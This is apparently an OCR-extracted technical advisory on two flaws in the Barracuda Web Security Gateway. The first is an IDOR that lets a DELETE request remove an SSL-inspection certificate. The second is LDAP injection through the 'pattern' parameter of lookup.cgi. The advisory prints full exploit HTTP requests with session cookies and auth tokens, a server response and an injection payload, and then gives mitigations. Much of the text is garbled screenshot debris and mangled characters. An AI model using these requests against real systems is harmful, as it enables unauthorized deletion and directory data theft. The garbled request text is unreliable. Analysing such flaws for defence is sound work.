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Executive Summary

This executive summary outlines the recently identified vulnerabilities within
the Barracuda Web Security Gateway, specifically relating to Insecure Direct
Object References (IDOR) and LDAP Injection. The vulnerabilities have been
assessed for their potential impact on the security posture of organizations
using the Barracuda Web Security Gateway and provide recommendations for
mitigation.

Vulnerability Overview:

1. Insecure Direct Object References (IDOR): The Barracuda Web Security
Gateway is found to have inadequate access controls in place, potentially
allowing unauthorized users to manipulate and access sensitive resources.
Exploiting this vulnerability, attackers could bypass authorization mechanisms
and access unauthorized data, leading to data exposure, privilege escalation,
and potential compliance violations.

2. LDAP Injection: The Barracuda Web Security Gateway is susceptible to LDAP
injection attacks, where malicious input can be injected into LDAP queries.
Successful exploitation of this vulnerability may lead to unauthorized access,
data leakage, or even the compromise of the underlying LDAP infrastructure.
This can result in a significant security breach and compromise the integrity of
user data.

Potential Impact:

The identified vulnerabilities pose a severe risk to the confidentiality, integrity,
and availability of the Barracuda Web Security Gateway and the underlying
infrastructure. Exploitation of these vulnerabilities may result in:

- Unauthorized access to sensitive information.

- Data exposure and leakage.

- Privilege escalation, enabling attackers to gain higher levels of access.

- Compromise of the LDAP infrastructure, leading to broader security
implications.
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Barracuda Web Security Gateway

Abstract

LlBarracuda

This abstract provides a concise overview of the Web Security Gateway product and its
associated security risks related to Insecure Direct Object References (IDOR) and LDAP Injection
vulnerabilities. The Web Security Gateway is a critical component in securing web traffic and
ensuring the protection of sensitive data. However, vulnerabilities such as IDOR and LDAP
Injection can undermine its effectiveness and compromise the security posture of organizations.

The Web Security Gateway is designed to safeguard networks by controlling and monitoring web
traffic, blocking malicious content, and enforcing security policies. Despite its robust features,
recent security assessments have identified potential risks that demand immediate attention.

Insecure Direct Object References (IDOR): IDOR vulnerabilities within the Web Security
Gateway could lead to unauthorized access to sensitive resources. Attackers could exploit this
weakness to manipulate URLs and access restricted content, potentially leading to data
exposure, unauthorized privilege escalation, and regulatory compliance violations.

LDAP Injection: Another critical security concern is the susceptibility of the Web Security
Gateway to LDAP Injection attacks. By injecting malicious input into LDAP queries, attackers can
manipulate the queries and gain unauthorized access to sensitive data. This vulnerability poses a
significant threat, potentially allowing compromise of the LDAP infrastructure, data leakage, and
unauthorized system access.

To address these security risks and maintain the integrity of the Web Security Gateway,
organizations are advised to promptly apply vendor patches, strengthen access controls, and
implement rigorous input validation mechanisms. Moreover, user awareness and training play a
pivotal role in preventing successful attacks.
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A Barracuda Web Security Gateway

Technical Analysis

In today's rapidly evolving digital landscape, ensuring the security of web traffic and
safeguarding sensitive data are paramount concerns for organizations of all sizes. The
Barracuda Web Security Gateway stands as a trusted solution, offering robust features to
control, monitor, and protect web traffic within corporate networks. However, recent security
assessments have uncovered vulnerabilities within the Barracuda Web Security Gateway that
warrant careful attention.

This report focuses on two critical security vulnerabilities affecting the Barracuda Web
Security Gateway: Insecure Direct Object References (IDOR) via the FFM-SSLInspect
component and LDAP (Lightweight Directory Access Protocol) vulnerability via the Pattern
parameter. These vulnerabilities have the potential to undermine the very purpose of the Web
Security Gateway by enabling unauthorized access and compromising data integrity.

IDOR via FFM-SSLInspect Component: The FFM-SSLInspect component is a critical aspect of
the Barracuda Web Security Gateway, responsible for examining encrypted traffic to ensure
its security. However, security researchers have identified an Insecure Direct Object
References vulnerability within this component. This vulnerability could allow malicious
actors to manipulate URLs and bypass authorization mechanisms, granting unauthorized
access to sensitive resources. The consequences of such unauthorized access range from
exposure of confidential data to unauthorized privilege escalation, posing severe risks to an
organization's confidentiality, integrity, and compliance efforts.

LDAP Vulnerability via Pattern Parameter: The Barracuda Web Security Gateway also
presents a vulnerability related to the LDAP functionality, specifically centered around the
Pattern parameter. LDAP Injection, a well-known attack vector, allows attackers to inject
malicious input into LDAP queries, potentially leading to unauthorized data access and
compromise of the underlying LDAP infrastructure. In the context of the Web Security
Gateway, this vulnerability could expose sensitive user data and undermine the security
controls established to protect the LDAP environment.

In this comprehensive technical analysis, we will examine the Insecure Direct Object
References (IDOR) vulnerability through the FFM-SSLinspect component and the LDAP
vulnerability via the Pattern parameter within the Barracuda Web Security Gateway. We will
provide detailed insights into each vulnerability, potential payloads, and exploit codes to
highlight the risks associated with these security issues.
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A Barracuda Web Security Gateway

1. IDOR via FFM-SSLInspect Component:

The Insecure Direct Object References (IDOR) vulnerability allows attackers to manipulate
URLs to access unauthorized resources directly. In this case, let's explore a possible payload
and exploit code to demonstrate the IDOR vulnerability in the Barracuda Web Security
Gateway.

Victim 1
T \ @ Change Password

GET

Attacker

Payload:
/restapi/vl/certificates/FFM-SSLInspect|

Exploit Code:

DELETE /restapi/vl/certificates/FFM-SSLInspect| HTTP/1.1

Host: webinterface.cloudgen-firewall.com

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: application/json

Accept-Language: en_US

Accept-Encoding: gzip, deflate

Referer: https://webinterface.cloudgen-firewall.com/cgi-mod/index.cgi?
auth_type=Local&et=1607798880&locale=en_US&password=abe23df41a8ad0fa6072ead8a8d5
Ob2a&primary_tab=ADVANCED&realm=&secondary_tab=certificate_manager&user=quest
Authorization: Basic
eyJhdXRoX3R5cGUiOiIJMb2NhbClsImVOIjoiMTYwNzc50TMwMylsinBhc3N3b3JkljoiOWZhMjMx
YzdkZWMxNDZiOWE2ZD1kZjkyMjczNzU2ZjkiLCJ1c2VyljoiZ3V1c3QifQ==

Connection: close

Cookie: CGISESSID=72efb595dd756e206bfd6eb59cd7f845
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Barracuda Web Security Gateway
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Type a search term

Done

This exploit code demonstrates how an attacker might manipulate the URL and send a DELETE
request to remove a certificate resource. The vulnerability arises from insufficient access

0 matches

Raw | Headers | Hex
n

.
r

T

ncludeSubdomains;

wtrol: max-age=0
Pragma: no-cache
Content-Length: 174

{"message human":{"type":"confirm", "message":"Item
removed"},"_meta":{"type":"confirmation","identifier":"FFM-SSLINspect”, "model":"
Certificate"},"message dev":"Item removed"}

b 5
v v

0 matches

584 bytes | 1,223 millis

controls, allowing unauthorized users to directly access sensitive resources.

HTTP Request Method and Path:

- 'DELETE /restapi/vl/certificates/FFM-SSLInspect| HTTP/1.1": This line indicates that a DELETE

request is being made to the path "/restapi/vl/certificates/FFM-SSLInspect|".

2. Headers:

- "Host: webinterface.cloudgen-firewall.com™: Specifies the host to which the request is being

sent.

- "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0": Specifies

the user agent making the request (Firefox browser on Linux).

"Accept: application/json™: Specifies that the client accepts responses in JSON format.
‘Accept-Language: en_US': Specifies the preferred language of the client.
‘Accept-Encoding: gzip, deflate™: Specifies accepted encoding types for the response.
‘Referer: ...": Specifies the referring URL, indicating the context of the request.
‘Authorization: Basic ...": Specifies a Basic authentication token, likely encoded credentials.

- ‘Connection: close™: Specifies that the connection should be closed after the request.

- 'Cookie: CGISESSID=72efb595dd756e206bfd6eb59cd7f845: Provides session cookies to

maintain the session state.
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Barracuda Web Security Gateway

3. Purpose and Potential Risks:

- The purpose of this code appears to be an attempt to delete a certificate resource located at
"/restapi/vl/certificates/FFM-SSLInspect|". However, the presence of the pipe character ("|")
at the end of the resource path is suspicious and could indicate an attempt to exploit a
vulnerability.

- The risk associated with this code lies in the potential exploitation of Insecure Direct Object
References (IDOR). If the server does not properly validate the request and enforces proper
authorization, an attacker could manipulate the URL to delete arbitrary certificates.

- Depending on the server's configuration, successful exploitation could lead to unauthorized
removal of certificates, potentially disrupting secure communications and compromising the
integrity of the system.

2. LDAP Vulnerability via Pattern Parameter:

The LDAP vulnerability arises from inadequate input validation in the Pattern parameter.
Attackers can exploit this vulnerability through LDAP Injection attacks. Here, we'll explore a
possible payload and exploit code to illustrate the LDAP vulnerability.

Payload:

*''| DAP_QUERY_HERE;(&(objectCategory=Person)(objectClass=user)(cn=*))#"

RSN

Go Cancel v || >v Target: http://webgateway.barracuda.com ¢ (2)
Request Response

Raw | Params | Headers | Hex | Raw | Headers | Hex | HTML | Render
i
S s70526amp;autn_type= P | s
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3

215,438 bytes | 7,302 millis
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Exploit Code:

GET /cgi-mod/lookup.cgi?
user=guest&password=9647d66bf00118bd5d2dbe4feac7784f&et=1608637052&auth_type=Lo
cal&locale=en_US&pattern=*";LDAP_QUERY_HERE;(&(objectCategory=Person)
(objectClass=user)
(cn=*))#"&type=1dap_group&SERVER=0&NTLMSERVER=DEMODC2&KRBSERVER= HTTP/1.1
Host: webgateway.barracuda.com

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: text/html, application/xhtml+xml, application/xml; g=0.9, */*; q=0.8

Accept-Language: en-US, en; g=0.5

Accept-Encoding: gzip, deflate

Referer: http://webgateway.barracuda.com/

Connection: close

Cookie: _ga=GA1.2.697116727.1607704679; ...

In this exploit code, an attacker injects a payload into the Pattern parameter, which could
trigger an LDAP Injection attack. By crafting malicious LDAP queries, attackers can potentially
access unauthorized data within the LDAP infrastructure.

1 HTTP Method and Path:

- 'GET /cgi-mod/lookup.cgi’: This part specifies the HTTP method as "GET" and the path to
the "lookup.cgi" script on the web server.

2. Query Parameters:

- ‘user=guest’: This parameter sets the value of the "user" parameter to "guest".
- ‘password=9647d66bf00118bd5d2dbe4feac7784f": This parameter sets the value of the
"password" parameter, which seems to be a hashed or encrypted value.
- 'et=1608637052": This parameter likely represents an epoch timestamp, possibly for
session tracking.
- "auth_type=Local’: This parameter sets the authentication type to "Local".
- "locale=en_US": This parameter sets the locale to "en_US".

- ‘pattern=*";LDAP_QUERY_HERE;(&(objectCategory=Person)(objectClass=user)(cn=*))#""
This is where the LDAP vulnerability is exploited. The "pattern" parameter is manipulated to
insert a potential LDAP injection attack. The 'LDAP_QUERY_HERE" placeholder suggests where
the malicious LDAP query would be injected.

- ‘type=1dap_group’: This parameter sets the "type" to "1dap_group".

- 'SERVER=0": This parameter sets the "SERVER" value to O.

- 'NTLMSERVER=DEMODC2": This parameter sets the "NTLMSERVER" value to "DEMODC2".
- 'KRBSERVER': This parameter sets the "KRBSERVER" value.
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3. Headers:

- "Host: webgateway.barracuda.com’: This header specifies the host of the target server.

- "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0: This
header indicates the user agent making the request (Firefox browser on Linux).

- "Accept’: This header specifies the types of content the client can accept.

- "Accept-Language™: This header specifies the preferred language of the client.

- "Accept-Encoding’: This header specifies the accepted encoding types.

- 'Referer’: This header indicates the URL of the referring page.

- "Connection: close’: This header specifies that the connection should be closed after the
response.

- "Cookie™: This header sends cookies to the server, likely for session tracking.

4. Purpose:

- The main purpose of this HTTP request seems to be an attempt to exploit an LDAP
vulnerability by manipulating the "pattern" parameter. By inserting a crafted LDAP query, an
attacker might attempt to bypass security measures, manipulate LDAP queries, and
potentially gain unauthorized access to sensitive data or compromise the LDAP server.
Mitigation Strategies:

1. For IDOR:

- Implement strict access controls and enforce proper authorization mechanisms.
- Validate and sanitize user input to prevent URL manipulation.
- Apply the principle of least privilege to limit user access to sensitive resources.

2. For LDAP Vulnerability:
- Thoroughly validate and sanitize user input before constructing LDAP queries.
- Utilize parameterized queries to prevent LDAP Injection attacks.

- Implement proper input validation mechanisms to safeguard against unauthorized data
access.
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Conclusion

In this comprehensive technical analysis, we delved deep into the
vulnerabilities affecting the Barracuda Web Security Gateway. Our
examination focused on two critical security concerns: the Insecure
Direct Object References (IDOR) vulnerability via the FFM-SSLInspect
component and the LDAP vulnerability via the Pattern parameter.

Through our meticulous analysis, we unraveled the intricate
mechanics of each vulnerability, shedding light on their potential
implications and associated risks. The IDOR vulnerability, facilitated
by insufficient access controls, exposes the potential for
unauthorized access and manipulation of critical resources,
jeopardizing the confidentiality and integrity of the system. On the
other hand, the LDAP vulnerability, stemming from inadequate input
validation, poses a risk of unauthorized data access and potential
compromise of the LDAP infrastructure.

Our investigation has underscored the urgency of addressing these
vulnerabilities promptly and effectively. To mitigate the risks,
organizations must embrace best practices such as rigorous input
validation, robust access controls, and the utilization of
parameterized queries. Regular updates and patches are essential to
fortify the web security infrastructure against emerging threats.

In conclusion, by being vigilant and proactive in addressing these
vulnerabilities, organizations can enhance the security of their
Barracuda Web Security Gateway, safeguard sensitive data, and
uphold the trust of stakeholders. Our analysis serves as a
foundational resource for strengthening the resilience of web security
systems and advancing cybersecurity in an evolving digital landscape.
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